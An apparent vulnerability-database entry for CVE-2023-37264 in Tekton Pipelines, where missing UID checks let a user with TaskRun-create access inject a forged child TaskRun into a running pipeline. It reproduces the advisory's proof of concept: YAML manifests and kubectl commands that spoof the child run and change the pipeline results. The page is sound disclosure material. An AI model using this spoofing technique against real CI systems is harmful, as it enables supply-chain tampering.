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🛡️ CVE-2023-37264 — tekton-pipelines

🟢 CVSS 3.7 — Low ✅ No Known Exploit CWE-345 NVD
3.7
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Pipelines do not validate child UIDs

Summary

Pipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task.

We should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID.

Details

While we [store and validate the PipelineRun's (api version, kind, name, uid) in the child Run's OwnerReference](https://github.com/tektoncd/pipeline/blob/2d38f5fa840291395178422d34b36b1bc739e2a2/pkg/reconciler/pipelinerun/pipelinerun.go#L1358-L1372), we only store (api version, kind, name) in the [ChildStatusReference](https://pkg.go.dev/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#ChildStatusReference) .

This means that if a client had access to create TaskRuns on a cluster, they could create a child TaskRun for a pipeline with the same name + owner reference, and the Pipeline controller picks it up as if it was the original TaskRun. This is problematic since it can let users modify the config of Pipelines at runtime, which violates SLSA L2 Service Generated / Non-falsifiable requirements.

I believe this is also true for [TaskRuns -> Pods since it looks like we only lookup by name](https://github.com/tektoncd/pipeline/blob/0b8349b770a76877051c9c790c94bf9ed897c75c/test/pipelinerun_test.go#L992), though I haven't tested this.

If you have update permissions on tekton resources, you could also perform a similar bypass like this (because it's difficult to distinguish this from a Task retry). For now, I think relying on RBAC is fine and treat update as a privileged role (though we should perhaps update docs to stress this). Create is the most problematic for now. SPIFFE/SPIRE might be able to help with ensuring that only the controller can modify state long term (e.g. sign the expected UIDs?)

PoC

```yaml

apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)

kind: PipelineRun

metadata:

name: hello-pr

spec:

pipelineSpec:

tasks:

  • name: task1

taskSpec:

steps:

  • name: echo

image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)

script: |

sleep 60

  • name: task2

runAfter: [task1]

taskSpec:

steps:

  • name: echo

image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)

script: |

echo "asdf" > $(results.foo.path)

results:

  • name: foo

results:

  • name: foo

value: $(tasks.task2.results.foo)

```

Once this is running, grab the PR UID:

```sh

$ k get pr hello-pr -o json | jq .metadata.uid -r

```

While pipeline is running task 1, start fake task 2:

```yaml

apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)

kind: TaskRun

metadata:

annotations:

labels:

[app.kubernetes.io/managed-by](http://app.kubernetes.io/managed-by): tekton-pipelines

[tekton.dev/memberOf](http://tekton.dev/memberOf): tasks

[tekton.dev/pipeline](http://tekton.dev/pipeline): hello-pr

[tekton.dev/pipelineRun](http://tekton.dev/pipelineRun): hello-pr

[tekton.dev/pipelineTask](http://tekton.dev/pipelineTask): task2

name: hello-pr-task2

namespace: default

ownerReferences:

  • apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)

blockOwnerDeletion: true

controller: true

kind: PipelineRun

name: hello-pr

uid: af549647-4532-468b-90c5-29122a408f8d <--- this should be UID of PR fetched in last step

spec:

serviceAccountName: default

taskSpec:

results:

  • name: foo

type: string

steps:

  • image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)

name: echo

resources: {}

script: |

echo "zxcv" > $(results.foo.path)

```

Get pipeline results - it shows the output of the 2nd injected TaskRun

```

$ k get pr -o json hello-pr | jq .status.pipelineResults

[

{

"name": "foo",

"value": "zxcv\n"

}

]

```

Impact

This can be used to trick the Pipeline controller into associating unrelated Runs to the Pipeline, feeding its data through the rest of the Pipeline. This requires access to create TaskRuns, so impact may vary depending on your Tekton setup. If users already have unrestricted access to create any Task/PipelineRun, this does not grant any additional capabilities.

Worst case example would be a supply chain attack where a malicious TaskRun triggered from Triggers/Workflows intercepts and replaces a task in a trusted Pipeline.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2023-37264 is classified as CWE-345: Insufficient Verification of Data Authenticity. Data is trusted without confirming it really came from the claimed source and was not altered.

Affected software

CVE-2023-37264 is recorded against 2 packages.

  • github.com/tektoncd/pipeline
  • tekton-pipelines (from 0.35.0)

Timeline and source

Published on 7 July 2023 and last revised on 4 February 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)
pkg.go.dev (Web)

Other advisories for this package

github.com/tektoncd/pipeline has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-345: Insufficient Verification of Data Authenticity) in other software:

Details

Severity LOW
CVSS Score 3.7
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
CWE CWE-345
Public Exploit ✅ No
Source NVD
Published 2023-07-07
Updated 2026-08-20
Modified 2026-02-04
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/tektoncd/pipeline
tekton-pipelines 0.35.0

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